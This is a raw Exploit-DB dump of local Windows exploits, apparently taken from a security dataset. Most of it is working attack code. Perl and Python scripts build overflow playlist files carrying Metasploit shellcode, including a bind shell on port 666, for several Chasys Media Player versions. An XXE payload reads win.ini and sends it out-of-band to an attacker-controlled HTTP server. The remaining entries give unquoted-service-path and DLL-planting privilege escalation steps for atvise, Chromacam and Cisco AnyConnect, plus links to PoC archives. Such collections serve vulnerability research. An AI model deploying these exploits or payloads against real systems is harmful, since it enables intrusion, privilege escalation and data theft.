deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38452
Description: CDex Genre 1.79 - Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2015-10-13
Author: Un_N0n

Exploit:
'''
********************************************************************************************
# Exploit Title: CDex Genre Stack Buffer Overflow
# Date: 10/9/2015
# Exploit Author: Un_N0n
# Software Link: http://cdex.mu/download
# Version: 1.79
# Tested on: Windows 7 x86(32 BIT)
********************************************************************************************
[Steps to Produce the Crash]:
1- Generate a File by python code mentioned below.
2- Goto C:\Users\YourUsername\AppData\Local\CDex\LocalCDDB
3- Replace the Old CDexGenres.txt with New CDexGenres.txt which is 
   Produced by Python Code.
4- Open Up CDex.exe.
~Software will crash.

On Further Analysis, We come to know that it is Stack-based-BOF.

[REG-DUMP]:
EAX 00000000
ECX 779DD018 ASCII "\r\nSTATUS_STACK_BUFFER_OVERRUN encountered\r\n" //May be handled but yet application crashes.
EDX 0012F1A1 ASCII 0A,"STATUS_STA"
EBX 00749338 CDex.00749338
ESP 0012F3E8
EBP 0012F464
ESI 00000000
EDI 002C7AC8

EIP 779DCE96 kernel32.779DCE96

0012F3F4   002C7AC8
0012F3F8   002E25F8  ASCII "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx>
0012F3FC   002E5FD8
0012F400   002E44A0
0012F404   000003F8
0012F408   0000007F
0012F40C   0012F504
0012F410   00260000
0012F414   77C97B89  RETURN to ntdll.77C97B89 from ntdll.RtlFillMemoryUlong
0012F418   002E2580  ASCII "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx>
0012F41C   00001190
'''

[Code to produce CDexGenres.txt]
buffer = "A"*66666
file = "CDexGenres.txt"
f = open(file,'w')
f.write(buffer)
f.close()
'''
**********************************************************************************************
'''
Exploit-DB #39786
Description: Certec EDV atvise SCADA Server 2.5.9 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2016-05-09
Author: LiquidWorm

Exploit:

Certec EDV atvise SCADA server 2.5.9 Privilege Escalation Vulnerability


Vendor: Certec EDV GmbH
Product web page: http://www.atvise.com
Affected version: 2.5.9

Summary: atvise scada is based on newest technologies
and standards: The visualization in pure web technology
as well as a consistent vertical object orientation based
on OPC UA changes the world of process management systems.

Desc: The application suffers from an unquoted search path
issue impacting the service 'atserver' for Windows deployed
as part of atvise SCADA. This could potentially allow an
authorized but non-privileged local user to execute arbitrary
code with elevated privileges on the system. A successful
attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or
other security applications where it could potentially be
executed during application startup or reboot. If successful,
the local user’s code would execute with the elevated privileges
of the application.

Tested on: Microsoft Windows 7 Professional SP1 (EN) 64-bit
           Microsoft Windows 7 Ultimate SP1 (EN) 64-bit


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5321
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5321.php

Vendor: http://www.atvise.com/en/news-events/news/465-atvise-3-0-0-released


17.03.2016

---


C:\Users\user>sc qc atserver
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: atserver
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\atvise\atserver.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : atvise server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #8246
Description: Chasys Media Player - '.lst Playlist' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-03-19
Author: zAx

Exploit:
#!/usr/bin/perl
# --------------------------------------------------------------
# Chasys Media Player (.lst playlist) Local Buffer Overflow Exploit
# Discovered and Exploited By : zAx
# Thanks to all my friends !
# --------------------------------------------------------------
my $header = "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0A\x46\x69\x6C\x65\x31\x3D";
my $junk = "\x41" x 260;
my $eip = "\x5D\x38\x82\x7C"; # Windows XP SP2 English ..
my $nopsleds = "\x90" x 19; # I Love you
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com/
my $sc =
"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x34".
"\x92\x42\x83\x83\xeb\xfc\xe2\xf4\xc8\x7a\x06\x83\x34\x92\xc9\xc6".
"\x08\x19\x3e\x86\x4c\x93\xad\x08\x7b\x8a\xc9\xdc\x14\x93\xa9\xca".
"\xbf\xa6\xc9\x82\xda\xa3\x82\x1a\x98\x16\x82\xf7\x33\x53\x88\x8e".
"\x35\x50\xa9\x77\x0f\xc6\x66\x87\x41\x77\xc9\xdc\x10\x93\xa9\xe5".
"\xbf\x9e\x09\x08\x6b\x8e\x43\x68\xbf\x8e\xc9\x82\xdf\x1b\x1e\xa7".
"\x30\x51\x73\x43\x50\x19\x02\xb3\xb1\x52\x3a\x8f\xbf\xd2\x4e\x08".
"\x44\x8e\xef\x08\x5c\x9a\xa9\x8a\xbf\x12\xf2\x83\x34\x92\xc9\xeb".
"\x08\xcd\x73\x75\x54\xc4\xcb\x7b\xb7\x52\x39\xd3\x5c\x62\xc8\x87".
"\x6b\xfa\xda\x7d\xbe\x9c\x15\x7c\xd3\xf1\x23\xef\x57\xbc\x27\xfb".
"\x51\x92\x42\x83";
my $exploit = $header.$junk.$eip.$nopsleds.$sc;
$file = "zAx.lst";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $exploit ;
close($FILE);
print "Done \n";

# milw0rm.com [2009-03-19]
Exploit-DB #8235
Description: Chasys Media Player 1.1 - '.m3u' Local Stack Overflow
Type: local
Platform: windows
Date: 2009-03-18
Author: Encrypt3d.M!nd

Exploit:
#!/usr/bin/python
# Chasys Media Player 1.1 (.m3u) Stack Overflow Exploit
# By: Encrypt3d.M!nd
#
# Credit flys to: zAx
#
# the good thing in this one that the program won't crash
# when the playlist file imported,and will keep running.


header = "#EXTM3U\n"
junk = "\x41"*260

eip = "\x2b\x2a\x49\x7e" #user32.dll win/xp sp2

nops = "\x90" * 20


# win32_bind -  EXITFUNC=seh LPORT=666 Size=344 Encoder=PexFnstenvSub
http://metasploit.com
shellcode = (
"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x77"
"\x13\x35\x14\x83\xeb\xfc\xe2\xf4\x8b\x79\xde\x59\x9f\xea\xca\xeb"
"\x88\x73\xbe\x78\x53\x37\xbe\x51\x4b\x98\x49\x11\x0f\x12\xda\x9f"
"\x38\x0b\xbe\x4b\x57\x12\xde\x5d\xfc\x27\xbe\x15\x99\x22\xf5\x8d"
"\xdb\x97\xf5\x60\x70\xd2\xff\x19\x76\xd1\xde\xe0\x4c\x47\x11\x3c"
"\x02\xf6\xbe\x4b\x53\x12\xde\x72\xfc\x1f\x7e\x9f\x28\x0f\x34\xff"
"\x74\x3f\xbe\x9d\x1b\x37\x29\x75\xb4\x22\xee\x70\xfc\x50\x05\x9f"
"\x37\x1f\xbe\x64\x6b\xbe\xbe\x54\x7f\x4d\x5d\x9a\x39\x1d\xd9\x44"
"\x88\xc5\x53\x47\x11\x7b\x06\x26\x1f\x64\x46\x26\x28\x47\xca\xc4"
"\x1f\xd8\xd8\xe8\x4c\x43\xca\xc2\x28\x9a\xd0\x72\xf6\xfe\x3d\x16"
"\x22\x79\x37\xeb\xa7\x7b\xec\x1d\x82\xbe\x62\xeb\xa1\x40\x66\x47"
"\x24\x40\x76\x47\x34\x40\xca\xc4\x11\x7b\x37\x8e\x11\x40\xbc\xf5"
"\xe2\x7b\x91\x0e\x07\xd4\x62\xeb\xa1\x79\x25\x45\x22\xec\xe5\x7c"
"\xd3\xbe\x1b\xfd\x20\xec\xe3\x47\x22\xec\xe5\x7c\x92\x5a\xb3\x5d"
"\x20\xec\xe3\x44\x23\x47\x60\xeb\xa7\x80\x5d\xf3\x0e\xd5\x4c\x43"
"\x88\xc5\x60\xeb\xa7\x75\x5f\x70\x11\x7b\x56\x79\xfe\xf6\x5f\x44"
"\x2e\x3a\xf9\x9d\x90\x79\x71\x9d\x95\x22\xf5\xe7\xdd\xed\x77\x39"
"\x89\x51\x19\x87\xfa\x69\x0d\xbf\xdc\xb8\x5d\x66\x89\xa0\x23\xeb"
"\x02\x57\xca\xc2\x2c\x44\x67\x45\x26\x42\x5f\x15\x26\x42\x60\x45"
"\x88\xc3\x5d\xb9\xae\x16\xfb\x47\x88\xc5\x5f\xeb\x88\x24\xca\xc4"
"\xfc\x44\xc9\x97\xb3\x77\xca\xc2\x25\xec\xe5\x7c\x87\x99\x31\x4b"
"\x24\xec\xe3\xeb\xa7\x13\x35\x14")

ex = header+junk+eip+nops+shellcode
file=open("devil_inside.m3u","w")
file.write(ex)
file.close()

# milw0rm.com [2009-03-18]
Exploit-DB #8233
Description: Chasys Media Player 1.1 - '.pls' Local Stack Overflow
Type: local
Platform: windows
Date: 2009-03-18
Author: His0k4

Exploit:
#usage: exploit.py
print "**************************************************************************"
print " Chasys Media Player(pls File) Local Stack overflow Exploit\n"
print " Founder: zAx my friend :)"
print " Exploited by : His0k4"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Good news : The program didn't crash after running the exploit :)"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)\n"
print "**************************************************************************"
         	

			
header =  "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0A"
header += "\x4E\x75\x6D\x62\x65\x72\x4F\x66\x45\x6E\x74"
header += "\x72\x69\x65\x73\x3D\x31\x0A\x46\x69\x6C\x65"
header +=  "\x31\x3D"

			
buff1 = "\x41" * 260

eip = "\x5D\x38\x82\x7C" # call esp kernel32.dll


# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x30\x42\x30\x42\x30\x4b\x58\x45\x34\x4e\x33\x4b\x48\x4e\x37"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x38\x4f\x54\x4a\x31\x4b\x38"
"\x4f\x35\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x53\x4b\x58"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x30\x45\x37\x45\x4e\x4b\x48"
"\x4f\x45\x46\x42\x41\x30\x4b\x4e\x48\x46\x4b\x38\x4e\x50\x4b\x34"
"\x4b\x38\x4f\x55\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x31\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x55\x46\x42\x46\x50\x43\x4c\x41\x53"
"\x42\x4c\x46\x36\x4b\x48\x42\x54\x42\x43\x45\x38\x42\x4c\x4a\x57"
"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x57\x4e\x31\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"
"\x42\x30\x42\x30\x42\x50\x4b\x58\x4a\x56\x4e\x33\x4f\x55\x41\x53"
"\x48\x4f\x42\x36\x48\x45\x49\x58\x4a\x4f\x43\x58\x42\x4c\x4b\x47"
"\x42\x55\x4a\x56\x42\x4f\x4c\x48\x46\x30\x4f\x55\x4a\x36\x4a\x59"
"\x50\x4f\x4c\x48\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x56"
"\x4e\x36\x43\x36\x42\x50\x5a")



exploit = header + buff1 + eip + shellcode # klimontayne fe romayne :D

try:
    out_file = open("exploit.pls",'w')
    out_file.write(exploit)
    out_file.close()
    print "Exploit File Created!"
except:
    print "Error"

# milw0rm.com [2009-03-18]
Exploit-DB #8234
Description: Chasys Media Player 1.1 - '.pls' Local Stack Overflow (2)
Type: local
Platform: windows
Date: 2009-03-18
Author: Encrypt3d.M!nd

Exploit:
#!/usr/bin/python
# Chasys Media Player 1.1 (.pls) Stack Overflow Exploit
# By: Encrypt3d.M!nd
#
# Credit flys to: zAx
#
# the good thing in this one that the program won't crash
# when the playlist file imported,and will keep running.


header = "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0A\x4E\x75\x6D\x62\x65\x72\x4F\x66\x45\x6E\x74\x72\x69\x65\x73\x3D\x31\x0A\x46\x69\x6C\x65\x31\x3D"
junk = "\x41"*260

eip = "\x2b\x2a\x49\x7e" #user32.dll win/xp sp2

nops = "\x90" * 20


# win32_bind -  EXITFUNC=seh LPORT=666 Size=344 Encoder=PexFnstenvSub
http://metasploit.com
shellcode = (
"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x77"
"\x13\x35\x14\x83\xeb\xfc\xe2\xf4\x8b\x79\xde\x59\x9f\xea\xca\xeb"
"\x88\x73\xbe\x78\x53\x37\xbe\x51\x4b\x98\x49\x11\x0f\x12\xda\x9f"
"\x38\x0b\xbe\x4b\x57\x12\xde\x5d\xfc\x27\xbe\x15\x99\x22\xf5\x8d"
"\xdb\x97\xf5\x60\x70\xd2\xff\x19\x76\xd1\xde\xe0\x4c\x47\x11\x3c"
"\x02\xf6\xbe\x4b\x53\x12\xde\x72\xfc\x1f\x7e\x9f\x28\x0f\x34\xff"
"\x74\x3f\xbe\x9d\x1b\x37\x29\x75\xb4\x22\xee\x70\xfc\x50\x05\x9f"
"\x37\x1f\xbe\x64\x6b\xbe\xbe\x54\x7f\x4d\x5d\x9a\x39\x1d\xd9\x44"
"\x88\xc5\x53\x47\x11\x7b\x06\x26\x1f\x64\x46\x26\x28\x47\xca\xc4"
"\x1f\xd8\xd8\xe8\x4c\x43\xca\xc2\x28\x9a\xd0\x72\xf6\xfe\x3d\x16"
"\x22\x79\x37\xeb\xa7\x7b\xec\x1d\x82\xbe\x62\xeb\xa1\x40\x66\x47"
"\x24\x40\x76\x47\x34\x40\xca\xc4\x11\x7b\x37\x8e\x11\x40\xbc\xf5"
"\xe2\x7b\x91\x0e\x07\xd4\x62\xeb\xa1\x79\x25\x45\x22\xec\xe5\x7c"
"\xd3\xbe\x1b\xfd\x20\xec\xe3\x47\x22\xec\xe5\x7c\x92\x5a\xb3\x5d"
"\x20\xec\xe3\x44\x23\x47\x60\xeb\xa7\x80\x5d\xf3\x0e\xd5\x4c\x43"
"\x88\xc5\x60\xeb\xa7\x75\x5f\x70\x11\x7b\x56\x79\xfe\xf6\x5f\x44"
"\x2e\x3a\xf9\x9d\x90\x79\x71\x9d\x95\x22\xf5\xe7\xdd\xed\x77\x39"
"\x89\x51\x19\x87\xfa\x69\x0d\xbf\xdc\xb8\x5d\x66\x89\xa0\x23\xeb"
"\x02\x57\xca\xc2\x2c\x44\x67\x45\x26\x42\x5f\x15\x26\x42\x60\x45"
"\x88\xc3\x5d\xb9\xae\x16\xfb\x47\x88\xc5\x5f\xeb\x88\x24\xca\xc4"
"\xfc\x44\xc9\x97\xb3\x77\xca\xc2\x25\xec\xe5\x7c\x87\x99\x31\x4b"
"\x24\xec\xe3\xeb\xa7\x13\x35\x14")

ex = header+junk+eip+nops+shellcode
file=open("devil_inside.pls","w")
file.write(ex)
file.close()

# milw0rm.com [2009-03-18]
Exploit-DB #17270
Description: Chasys Media Player 2.0 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2011-05-11
Author: h1ch4m

Exploit:
# Exploit Title: Chasys Media Player Buffer Overflow Exploit(SEH)
# Software Link: http://www.chachaslab.com/chasys_media.php
# Version: 2.0
# Tested on: Win XP SP3 French
# Author: h1ch4m (Hicham Oumounid)
# Email: h1ch4m@live.fr
# Home: http://net-effects.blogspot.com

my $file= "exploit.m3u";
my $size = 10000;
my $junk = "#EXTM3U\n"."\x41" x 1308;
my $nseh = "\xeb\x06\x90\x90";
my $seh = pack('V', 0x00280B0B); # CALL DWORD PTR SS:[EBP+30]
# windows/exec - 223 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xda\xdd\xbf\xb0\x1a\x64\x4f\xd9\x74\x24\xf4\x58\x31\xc9" .
"\xb1\x32\x31\x78\x17\x83\xc0\x04\x03\xc8\x09\x86\xba\xd4" .
"\xc6\xcf\x45\x24\x17\xb0\xcc\xc1\x26\xe2\xab\x82\x1b\x32" .
"\xbf\xc6\x97\xb9\xed\xf2\x2c\xcf\x39\xf5\x85\x7a\x1c\x38" .
"\x15\x4b\xa0\x96\xd5\xcd\x5c\xe4\x09\x2e\x5c\x27\x5c\x2f" .
"\x99\x55\xaf\x7d\x72\x12\x02\x92\xf7\x66\x9f\x93\xd7\xed" .
"\x9f\xeb\x52\x31\x6b\x46\x5c\x61\xc4\xdd\x16\x99\x6e\xb9" .
"\x86\x98\xa3\xd9\xfb\xd3\xc8\x2a\x8f\xe2\x18\x63\x70\xd5" .
"\x64\x28\x4f\xda\x68\x30\x97\xdc\x92\x47\xe3\x1f\x2e\x50" .
"\x30\x62\xf4\xd5\xa5\xc4\x7f\x4d\x0e\xf5\xac\x08\xc5\xf9" .
"\x19\x5e\x81\x1d\x9f\xb3\xb9\x19\x14\x32\x6e\xa8\x6e\x11" .
"\xaa\xf1\x35\x38\xeb\x5f\x9b\x45\xeb\x07\x44\xe0\x67\xa5" .
"\x91\x92\x25\xa3\x64\x16\x50\x8a\x67\x28\x5b\xbc\x0f\x19" .
"\xd0\x53\x57\xa6\x33\x10\xa9\x57\x8e\x8c\x3e\xce\x7b\xed" .
"\x22\xf1\x51\x31\x5b\x72\x50\xc9\x98\x6a\x11\xcc\xe5\x2c" .
"\xc9\xbc\x76\xd9\xed\x13\x76\xc8\x8d\xf2\xe4\x90\x51";

my $rest = "D" x ($size - length($junk.$nseh.$seh.$shellcode));
open($FILE,">$file");
print $FILE $junk.$nseh.$seh.$shellcode.$rest;
close($FILE);
print "Files Created successfully\n";
sleep(1);
Exploit-DB #46189
Description: Check Point ZoneAlarm 8.8.1.110 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2019-01-17
Author: Chris Anastasio

Exploit:
# Exploit Title: Check Point ZoneAlarm Local Privilege Escalation
# Date: 1/16/19
# Exploit Author: Chris Anastasio
# Vendor Homepage: https://www.zonealarm.com/software/free-antivirus/
# Software Link: Vulnerable Versions included in repo
# Version:
ZoneAlarm Free Antivirus + Firewall version: 15.3.064.17729
Vsmon version: 15.3.58.17668
Driver version: 15.1.29.17237
Antivirus engine version: 8.8.1.110
Antivirus signature DAT file version:[PII_REDACTED]
# Tested on: Windows 7/Windows 10
# Vendor Disclosure: https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk142952

POC:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46189.zip
Exploit-DB #51210
Description: Chromacam 4.0.3.0 - PsyFrameGrabberService Unquoted Service Path
Type: local
Platform: windows
Date: 2023-04-03
Author: Laguin Benjamin

Exploit:
# Exploit Title: Chromacam 4.0.3.0 - PsyFrameGrabberService Unquoted Service Path 
# Exploit Author: Laguin Benjamin (MONK-MODE)
# Discovery Date: 2023-19-01
# Vendor Homepage: https://personifyinc.com/
# Software Link: https://personifyinc.com/download/chromacam
# Tested Version: Chromacam-4.0.3.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Microsoft Windows 10 x64
# CVE: In progress

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

Personify Frame Transformer  PsyFrameGrabberService   C:\Program Files
(x86)\Personify\ChromaCam\64\PsyFrameGrabberService.exe   Auto

C:\>sc qc "PsyFrameGrabberService"
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: PsyFrameGrabberService
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files
(x86)\Personify\ChromaCam\64\PsyFrameGrabberService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Personify Frame Transformer
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>systeminfo

Host Name:                    DESKTOP-1000
OS Name:                    Microsoft Windows 10 Professionnel
OS   Version:                 10.0.19044 N/A build 19044

# Exploit
If an attacker had already compromised the system and the current user has
the privileges to write in the : C:\Program Files (x86)\ "C:\Program Files
(x86)\Personify"  "C:\Program Files (x86)\Personify\ChromaCam" "C:\Program
Files (x86)\Personify\ChromaCam\64" folder or in "C:\" , he could place his
own "Program.exe" or "PsyFrameGrabberService.exe" files respectively, and
when the service starts, it would launch the malicious file, rather than
the original "PsyFrameGrabberService.exe".
The service starts automatically at bood and runs in system
Exploit-DB #44269
Description: Chrome 35.0.1916.153 - Sandbox Escape / Command Execution
Type: local
Platform: windows
Date: 2017-10-14
Author: 649

Exploit:
Sandbox escape Chrome exploit. Allows the execution of local binaries, read/write functions and exfiltration of Chrome OAuth tokens to remote server. More info: https://bugs.chromium.org/p/chromium/issues/detail?id=386988

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44269.zip
Exploit-DB #41321
Description: Cimetrics BACnet Explorer 4.0 - XML External Entity Injection
Type: local
Platform: windows
Date: 2017-02-12
Author: LiquidWorm

Exploit:
Cimetrics BACnet Explorer 4.0 XXE Vulnerability


Vendor: Cimetrics, Inc.
Product web page: https://www.cimetrics.com
Affected version: 4.0.0.0

Summary: The BACnet Explorer is a BACnet client application that
helps auto discover BACnet devices.

Desc: BACnetExplorer suffers from an XML External Entity (XXE)
vulnerability using the DTD parameter entities technique resulting
in disclosure and retrieval of arbitrary data on the affected node
via out-of-band (OOB) attack. The vulnerability is triggered when
input passed to the xml parser is not sanitized while parsing the
xml project file.

Tested on: Microsoft Windows NT 6.1.7601 Service Pack 1
           mscorlib.dll: 4.0.30319.34209 built by: FX452RTMGDR
           BACstac Library: 1.5.6116.0
           BACstac Service: 6.8.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5398
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5398.php


30.01.2017

--

Open file evil.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE zsl [
<!ENTITY % remote SYSTEM "http://192.168.1.71:8080/xxe.xml">
%remote;
%root;
%oob;]>


xxe.xml on the web server:

<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://192.168.1.71:8080/?%payload;'> ">


pyhon -m SimpleHTTPServer 8080

lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER=1.0.0.1%0D%0AOLEMessaging=1 HTTP/1.1" 301 -
lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER=1.0.0.1%0D%0AOLEMessaging=1/ HTTP/1.1" 200 -
Exploit-DB #38289
Description: Cisco AnyConnect Secure Mobility Client 3.1.08009 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2015-09-22
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=460

Cisco AnyConnect Secure Mobility Client v3.1.08009 Elevation of Privilege
Platform: Windows 8.1 Update, Client version 3.1.08009 (tested on 32 bit only)
Class: Elevation of Privilege

Summary:
The fix for CVE-2015-4211 is insufficient which allows a local application to elevate to local system through the CMainThread::launchDownloader command. 

Description:

This is directly related to http://tools.cisco.com/security/center/viewAlert.x?alertId=39466. The fix for this issue seemed to be modifying the file verification process to only allow a signed file which also has in its version information the original filename of vpndownloader.exe. This, along with the name change makes it clear you only want to execute the VPN Downloader application. However the code doesn’t limit the location of the executable file, so one exploitation vector is DLL planting. The downloader loads a lot of DLLs from the executable directory first, so by copying the vpndownloader.exe file from Program Files to a temporary directory and dropping an appropriately named DLL you can get code execution as SYSTEM. One such DLL is dbghelp.dll which is loaded explicitly by the downloader using LoadLibrary, but there are many more.

Even if by luck the executable wasn’t vulnerable to DLL planting there’s many other potential issues, for example even though a lock is made on the executable file during signature verification it’s possible to use symbolic links to exploit this as a race condition and switch the executable file after verification has completed. There’s many other possibilities as well. I’d recommend that if you’re really only supposed to be executing vpndownloader you only execute it from the secure program files directory which would eliminate this issue. 

This was based on work previous done by Kostya Kortchinsky. 

Proof of Concept:

The PoC demonstrates the vulnerability and should create a copy of CMD.EXE running at SYSTEM on the current user’s desktop. I’ve provided source for the exploit.exe written in C# 4 and the dbghelp.dll in C++, as well as binaries. It should run on 32 and 64 bit platforms but I’ve only tested it on 32 bit.  

1) Copy the exploit.exe and dbghelp.dll  to a location on a local hard disk which the current user can write to.
2) Execute exploit.exe as the normal user
3) A command prompt should appear running at SYSTEM

Expected Result:
The service rejects the executable request

Observed Result:
The service executes the file from the temporary directory and allows for elevation.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38289.zip